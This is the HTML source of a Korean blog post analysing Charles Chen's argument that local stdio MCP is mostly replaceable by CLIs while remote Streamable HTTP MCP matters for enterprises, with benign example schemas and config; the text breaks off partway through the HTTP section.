&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;들어가며 &amp;mdash; &quot;MCP 만세?&quot;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기존 글 리마인드&lt;/li&gt;
&lt;li&gt;Charles Chen의 반론 등장&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;인플루언서 주도 하이프 사이클
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;6개월 전 MCP 열풍, 지금은 CLI 열풍&lt;/li&gt;
&lt;li&gt;맹목적 추종의 위험&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;토큰 절약의 진실
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;잘 알려진 CLI만 토큰 절약 가능&lt;/li&gt;
&lt;li&gt;커스텀 CLI의 함정&lt;/li&gt;
&lt;li&gt;점진적 컨텍스트 소비 비교&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;MCP의 이중성 &amp;mdash; stdio vs Streamable HTTP
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로컬(stdio)은 CLI로 대체 가능&lt;/li&gt;
&lt;li&gt;원격(HTTP)은 게임 체인저&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;엔터프라이즈가 MCP를 선택하는 5가지 이유&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;간과된 무기 &amp;mdash; MCP Prompts &amp;amp; Resources&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;MCP 2026 공식 로드맵 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응 심층 분석
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Hacker News (263포인트, 190댓글 &amp;mdash; 작성 시점 기준)&lt;/li&gt;
&lt;li&gt;GeekNews 한국 반응&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 의사결정 가이드&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론 &amp;mdash; 바이브 코딩을 넘어 에이전틱 엔지니어링으로&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;참고 자료&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 핵심 요약 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 20px 22px; border-radius: 0 12px 12px 0; margin-bottom: 30px;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Charles Chen(2026.03.14)은 &quot;CLI vs MCP&quot; 논쟁에서 &lt;b&gt;누락된 엔터프라이즈 관점&lt;/b&gt;을 지적 (출처: &lt;a href=&quot;https://chrlschn.dev/blog/2026/03/mcp-is-dead-long-live-mcp/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;chrlschn.dev&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;CLI 토큰 절약은 gh, aws, kubectl 같은 &lt;b&gt;훈련 데이터에 있는 CLI에만 해당&lt;/b&gt;. 커스텀 CLI도 결국 문서화 필요&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MCP over stdio&lt;/b&gt;(로컬)는 대부분 불필요하지만, &lt;b&gt;MCP over Streamable HTTP&lt;/b&gt;(원격)는 게임 체인저&lt;/li&gt;
&lt;li&gt;엔터프라이즈 5대 강점: 리치 백엔드, 임시 런타임, 인증 중앙화, 텔레메트리, 표준화된 콘텐츠 전달&lt;/li&gt;
&lt;li&gt;MCP Prompts = 클라이언트 요청 시 받는 SKILL.md, MCP Resources = 클라이언트 요청 시 받는 /docs &amp;mdash; 대부분의 클라이언트가 아직 미지원&lt;/li&gt;
&lt;li&gt;결론: &quot;조직은 카우보이 바이브 코딩을 넘어 &lt;b&gt;조직적으로 정렬된 에이전틱 엔지니어링&lt;/b&gt;으로 이동해야 한다&quot; (출처: 원문)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 들어가며 &amp;mdash; &quot;MCP 만세?&quot;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2주 전 이 블로그에서 Eric Holmes의 &lt;a href=&quot;https://goddaehee.tistory.com/535&quot;&gt;&lt;b&gt;&quot;MCP is dead. Long live the CLI.&quot;&lt;/b&gt;&lt;/a&gt;를 분석했다. Holmes의 핵심 주장은 명쾌했다. &quot;LLM은 이미 CLI를 잘 사용할 줄 안다. MCP라는 별도의 추상 계층은 불필요하다.&quot;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이전 글을 읽지 않았다면 &amp;mdash; Holmes 주장 핵심 요약&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CLI의 5대 강점&lt;/b&gt;: LLM 친숙도(훈련 데이터에 풍부), 디버깅 투명성(직접 재현 가능), 조합 가능성(Unix 파이프), 기존 인증 체계 재활용, 운영 단순성(바이너리 하나)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MCP의 3대 문제&lt;/b&gt;: 초기화 불안정(stdio 프로세스 관리), 반복 재인증(세션 끊김마다), 권한 제어 부재(도구 수준 ACL 미지원)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결론&lt;/b&gt;: &quot;좋은 API를 만들고, 좋은 CLI를 만들어라. MCP는 불필요한 추상 계층이다.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 14일 Charles Chen이 같은 제목의 변주로 반론을 올렸다. &lt;b&gt;&quot;MCP is Dead; Long Live MCP!&quot;&lt;/b&gt; (출처: &lt;a href=&quot;https://chrlschn.dev/blog/2026/03/mcp-is-dead-long-live-mcp/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;chrlschn.dev, 2026.03.14&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Chen은 Motion의 엔지니어로, MCP를 실제 프로덕션 환경에서 사용해온 경험을 바탕으로 쓴다. Chen은 처음부터 MCP 지지자가 아니었다. Motion에서 MCP 벤더들의 제안을 모두 거절하고 직접 REST API 래퍼를 작성했을 정도였다. 그 사람이 실무를 거쳐 생각을 바꿨다는 점이 이 글을 단순한 MCP 옹호론과 다르게 만든다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그의 핵심 메시지는 이렇다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;&lt;b&gt;Chen의 핵심 주장 (원문 의역 요약)&lt;/b&gt;
&lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;&lt;b&gt;MCP over stdio&lt;/b&gt;(로컬)는 대부분의 유즈케이스에서 &lt;b&gt;불필요&lt;/b&gt;하다 &amp;mdash; 여기서는 Holmes가 맞다&quot;&lt;/li&gt;
&lt;li&gt;&quot;하지만 &lt;b&gt;MCP over Streamable HTTP&lt;/b&gt;(원격)는 완전히 다른 이야기다 &amp;mdash; 이것은 &lt;b&gt;게임 체인저&lt;/b&gt;&quot;&lt;/li&gt;
&lt;li&gt;&quot;&lt;b&gt;엔터프라이즈와 조직 수준의 유즈케이스&lt;/b&gt;에서 MCP는 현재이자 미래다&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-size: 13px; color: #666; margin-top: 10px;&quot; data-ke-size=&quot;size14&quot;&gt;※ 위 내용은 원문의 직접 인용이 아닌 의역 요약입니다. 원문: &lt;a href=&quot;https://chrlschn.dev/blog/2026/03/mcp-is-dead-long-live-mcp/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;chrlschn.dev&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Chen은 Holmes를 전면으로 반박하지 않는다. 로컬 stdio MCP의 한계는 인정한다. 그러면서 Holmes가 다루지 않은 부분을 짚는다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 인플루언서 주도 하이프 사이클&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Chen이 먼저 꺼내는 건 기술 자체가 아니라 &lt;b&gt;커뮤니티의 반응 패턴&lt;/b&gt;이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;6개월 전과 지금의 풍경&lt;/b&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 0 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: rgba(255, 193, 7, 0.15);&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #e6c76a; font-weight: 600;&quot;&gt;시기&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #e6c76a; font-weight: 600;&quot;&gt;트렌드&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #e6c76a; font-weight: 600;&quot;&gt;인플루언서 메시지&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #e6c76a;&quot;&gt;2025 하반기&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #e6c76a;&quot;&gt;MCP 열풍&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #e6c76a;&quot;&gt;&quot;MCP가 모든 것을 바꾼다! 모든 서비스에 MCP를 달아라!&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #e6c76a;&quot;&gt;2026 초&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #e6c76a;&quot;&gt;CLI 열풍&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #e6c76a;&quot;&gt;&quot;MCP는 죽었다! CLI면 충분하다!&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #e6c76a;&quot;&gt;2026 3월~&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #e6c76a;&quot;&gt;???&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #e6c76a;&quot;&gt;&quot;그때 MCP가 죽었다고 했던 거 기억나?&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Chen은 이 진자 운동(pendulum swing)을 경계한다. 기술의 가치는 &lt;b&gt;유즈케이스에 따라&lt;/b&gt; 판단해야 하는데, 인플루언서 주도의 트렌드는 &quot;전부 맞다&quot; 아니면 &quot;전부 틀리다&quot;로 흐르기 쉽다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GeekNews의 &lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@sonnet&lt;/code&gt;도 비슷한 관찰을 했다. &lt;b&gt;&quot;MCP의 이점이 없는 용도에 무차별 사용하던 환상에서 깬 것&quot;&lt;/b&gt;이라는 표현은 정확히 이 하이프 사이클의 &quot;깨어남&quot; 단계를 묘사한다. (출처: &lt;a href=&quot;https://news.hada.io/topic?id=27129&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 18px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Chen의 경고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;문제는 &quot;MCP가 죽었다&quot;는 반동도 역시 맹목적이라는 것이다. &lt;b&gt;로컬 stdio MCP가 불필요한 상황&lt;/b&gt;과 &lt;b&gt;원격 HTTP MCP가 필수인 상황&lt;/b&gt;을 구분하지 않고 &quot;MCP 전체가 죽었다&quot;고 선언하면, 정작 MCP가 진정한 가치를 발휘하는 영역까지 놓치게 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 토큰 절약의 진실&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Holmes의 근거 중 하나는 토큰 효율성이었다. &quot;MCP는 스키마 정의, JSON-RPC 통신으로 토큰을 낭비한다. CLI는 이미 LLM이 알고 있으므로 추가 문서화가 불필요하다.&quot; Chen은 이 주장이 전제하는 것을 꼬집는다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-1. 잘 알려진 CLI만 토큰 절약 가능&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;gh&lt;/code&gt;, &lt;code&gt;aws&lt;/code&gt;, &lt;code&gt;kubectl&lt;/code&gt;, &lt;code&gt;git&lt;/code&gt; &amp;mdash; 이들은 LLM의 훈련 데이터에 풍부하게 포함되어 있다. StackOverflow에만 수만 건의 관련 질답이 있다. &lt;b&gt;이런 CLI는 확실히 MCP보다 토큰 효율적이다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 현실의 엔터프라이즈 환경에서는 어떨까?&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; border-radius: 0 8px 8px 0; padding: 15px 18px; margin: 20px 0;&quot;&gt;&lt;b&gt;커스텀 CLI의 현실&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사내 배포 도구: &lt;code&gt;deploy-service --env prod --version v2.3.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;내부 데이터 파이프라인: &lt;code&gt;etl-runner --source warehouse --target analytics&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;커스텀 인프라 관리: &lt;code&gt;infra-ctl scale --service api --replicas 5&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이런 CLI는 LLM의 훈련 데이터에 &lt;b&gt;전혀 없다&lt;/b&gt;. LLM이 이 도구를 사용하려면 결국 문서화가 필요하다 &amp;mdash; &lt;code&gt;AGENTS.md&lt;/code&gt;든, MCP 스키마든.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-2. 커스텀 CLI의 함정 &amp;mdash; AGENTS.md 문서화&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Chen의 핵심 반박은 여기 있다. 커스텀 CLI를 AI 에이전트가 사용하게 하려면, &lt;b&gt;결국 AGENTS.md나 SKILL.md에 사용법을 문서화&lt;/b&gt;해야 한다. 이 문서화의 내용은 본질적으로 MCP 도구 스키마와 동일한 정보를 담는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// MCP 도구 스키마 예시 (출처: Chen 원문 의역)&lt;/div&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;searchFlights&quot;,
  &quot;description&quot;: &quot;Search for available flights&quot;,
  &quot;inputSchema&quot;: {
    &quot;type&quot;: &quot;object&quot;,
    &quot;properties&quot;: {
      &quot;origin&quot;:      { &quot;type&quot;: &quot;string&quot;, &quot;description&quot;: &quot;Departure airport code (IATA)&quot; },
      &quot;destination&quot;: { &quot;type&quot;: &quot;string&quot;, &quot;description&quot;: &quot;Arrival airport code (IATA)&quot; },
      &quot;departDate&quot;:  { &quot;type&quot;: &quot;string&quot;, &quot;description&quot;: &quot;Departure date (YYYY-MM-DD)&quot; },
      &quot;returnDate&quot;:  { &quot;type&quot;: &quot;string&quot;, &quot;description&quot;: &quot;Return date (YYYY-MM-DD)&quot; },
      &quot;passengers&quot;:  { &quot;type&quot;: &quot;integer&quot;, &quot;description&quot;: &quot;Number of passengers&quot; },
      &quot;cabinClass&quot;:  { &quot;type&quot;: &quot;string&quot;, &quot;enum&quot;: [&quot;economy&quot;,&quot;business&quot;,&quot;first&quot;] }
    },
    &quot;required&quot;: [&quot;origin&quot;, &quot;destination&quot;, &quot;departDate&quot;]
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 동일한 기능의 CLI --help 출력 (출처: Chen 원문 참고)&lt;/div&gt;
&lt;pre class=&quot;excel&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ flights search --help

Usage: flights search [OPTIONS]

Search for available flights

Options:
  --origin TEXT        Departure airport code (IATA)  [required]
  --destination TEXT   Arrival airport code (IATA)    [required]
  --depart-date TEXT   Departure date (YYYY-MM-DD)    [required]
  --return-date TEXT   Return date (YYYY-MM-DD)
  --passengers INT     Number of passengers           [default: 1]
  --cabin-class TEXT   Cabin class (economy|business|first)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;위 두 가지는 &lt;b&gt;형식만 다를 뿐 동일한 정보&lt;/b&gt;를 담고 있다. CLI의 &lt;code&gt;--help&lt;/code&gt; 출력이 토큰을 아껴준다는 주장은, &lt;b&gt;그 CLI가 이미 LLM의 훈련 데이터에 있을 때만 성립&lt;/b&gt;한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-3. 점진적 컨텍스트 소비 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Holmes의 또 다른 주장은 CLI의 점진적 컨텍스트 로딩이었다. 필요할 때만 &lt;code&gt;--help&lt;/code&gt;를 호출하면 된다는 것이다. Chen은 이것도 MCP 스키마 선언과 본질적으로 같다고 지적한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;단계&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;CLI 접근&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;MCP 접근&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;1. 도구 발견&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;AGENTS.md에서 CLI 이름 확인&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;tools/list로 도구 목록 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2. 스키마 확인&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;command --help&lt;/code&gt; 실행&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;도구 스키마(inputSchema) 참조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;3. 실행&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;command --arg value&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;tools/call로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;토큰 소비&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;AGENTS.md + --help 출력&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;도구 목록 + inputSchema&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;차이&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot; colspan=&quot;2&quot;&gt;커스텀 도구에서는 &lt;b&gt;본질적으로 동일한 양의 정보가 소비됨&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 18px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 통찰&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;CLI가 토큰을 아낀다&quot;는 주장은 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;gh, aws, kubectl처럼 LLM이 이미 알고 있는 CLI에만 해당&lt;/b&gt;&lt;/span&gt;한다. 커스텀 CLI에서는 CLI든 MCP든 동일한 양의 문서화(= 토큰 소비)가 필요하다. (출처: Chen 원문 분석)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. MCP의 이중성 &amp;mdash; stdio vs Streamable HTTP&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여기가 Chen 반론의 핵심이다. &quot;MCP&quot;를 하나의 덩어리로 보지 말라는 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-1. MCP over stdio (로컬)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;stdio 전송 방식&lt;/b&gt;은 MCP 서버를 로컬에서 자식 프로세스로 실행하는 방식이다. Claude Desktop의 &lt;code&gt;claude_desktop_config.json&lt;/code&gt;이나 Claude Code의 &lt;code&gt;.mcp.json&lt;/code&gt;에서 &lt;code&gt;&quot;command&quot;: &quot;npx&quot;&lt;/code&gt;로 실행하는 것이 이 방식이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// stdio MCP: 로컬 프로세스로 실행&lt;/div&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;filesystem&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@modelcontextprotocol/server-filesystem&quot;, &quot;/path/to/dir&quot;]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Chen은 &lt;b&gt;이 방식에 대해서는 Holmes에 동의한다&lt;/b&gt;. 로컬에서 실행되는 stdio MCP는 대부분의 경우 CLI로 대체 가능하고, 프로세스 관리 오버헤드만 추가한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-2. MCP over Streamable HTTP (원격)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Streamable HTTP 전송 방식&lt;/b&gt;은 MCP 서버를 원격 서비스로 운영하는 방식이다. 이것은 CLI와는 &lt;b&gt;완전히 다른 차원&lt;/b&gt;의 이야기다.&lt;/p&gt;
